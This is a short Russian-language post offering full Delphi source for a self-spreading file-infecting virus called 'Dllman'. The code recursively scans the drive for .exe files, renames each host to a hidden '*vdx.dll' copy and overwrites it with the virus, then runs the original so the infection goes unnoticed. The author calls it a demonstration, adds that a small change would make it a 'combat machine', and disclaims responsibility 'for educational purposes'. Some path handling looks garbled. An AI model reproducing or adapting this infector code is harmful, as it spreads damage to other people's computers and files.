Этот пример имеет только демонстрационного характера и не приносит ущерба так как она умеет только заражатся, но при легком поправке станет боевой машиной!
Чуть незабыл вам понадобитси третья дельфа !!!
program Dllman;
uses
windows,
sysutils;
{$R *.res}
const
mysize=42496;
var
FileName:string;
TypeFile:longword;
counter:integer=0;
TmpDir : TFilename;
SavedDir : TFilename;
StartDir: TFilename;
DirSrcRec : TSearchRec;
FileSrcRec : TSearchRec;
FileInf:String;
FileInfN:string;
FILENn:integer;
StartupInfo: TStartupInfo;
lpProcess: TProcessInformation;
PROCEDURE INFECT(FILEinfect:STRING);
var
FILEN:Integer;
BEGIN
FileInf:=TmpDIr+ExtractFileName(FileName);
FILEN:=pos('.',FileInf);
Delete(FileInf,Filen,filen+4);
FileInf:=FileInf+'vdx.dll';
MoveFile(pchar(filename),Pchar(FileInf));
CopyFile(Pchar(Paramstr(0)),PCHAR(filename),false);
END;
PROCEDURE SCAN;
var
ErNum : Integer;
EXT : String;
begin
GetDir(0,TmpDir);
if tmpDir[length(tmpdir)]<>'' then TmpDir:=TmpDir+'';
ErNum:= FindFirst(tmpdir+'*.exe',not (faReadOnly or faHidden),FileSrcRec);
while ErNum = 0 do
begin
FileName:=Concat(tmpDir,FileSrcRec.Name);
Ext:=ExtractFileExt(FileName);
GetBinaryType(pChar(FileName),TypeFile);
if (FileName[Length(FileName)]<>'.') and
(UPPERCASE(ext)='.EXE') and
(FileSrcRec.size<>MySize) and
(Counter<1) then
begin
inc(Counter);
Infect(FileName);
end;
ErNum := FindNext(FileSrcRec);
end;
FindClose(FileSrcRec);
ErNum := FindFirst('*.*',faDIRECTORY,DirSrcRec);
while ErNum = 0 do
begin
if ((DirSrcRec.Attr and faDIRECTORY) <> 0) and (DirSrcRec.Name[1] <> '.') then
begin
ChDir(DirSrcRec.Name);
Scan;
ChDir(TmpDir);
end;
ErNum := FindNext(DirSrcRec);
end;
SysUtils.FindClose(DirSrcRec);
end;
begin
FileInfN:=ExtractFileName(Paramstr(0));
FILENn:=pos('.',FileInfN);
Delete(FileInfN,FilenN,filenN+4);
FileInfN:=FileInfN+'vdx.dll';
CopyFile(Pchar(FileInfN), Pchar(FileINfN+'.EXE'),false);
FileSetAttr(Pchar(FileInfN+'.EXE'),faHidden);
IF CreateProcess(pchar(FileINfN+'.EXE'),nil,NIL,NIL,false,NORMAL_PRIORITY_CLASS,NIL,nil,StartupInfo,lpProcess)
Then
Begin
StartDir:=ExtractFileDrive(Paramstr(0));
ChDir(ExtractFileDrive(Paramstr(0))+'');
Scan;
ChDir(SavedDir);
End;
DeleteFile(Pchar(FileINfN+'.EXE'));
StartDir:=ExtractFileDrive(Paramstr(0));
ChDir(ExtractFileDrive(Paramstr(0))+'');
Scan;
ChDir(SavedDir);
end.
P.S материалы каторые автор а точнее Я не несет ответствинности
если вы будети их исполизовать.
Это чисто в учебны целях !.!.!.!.!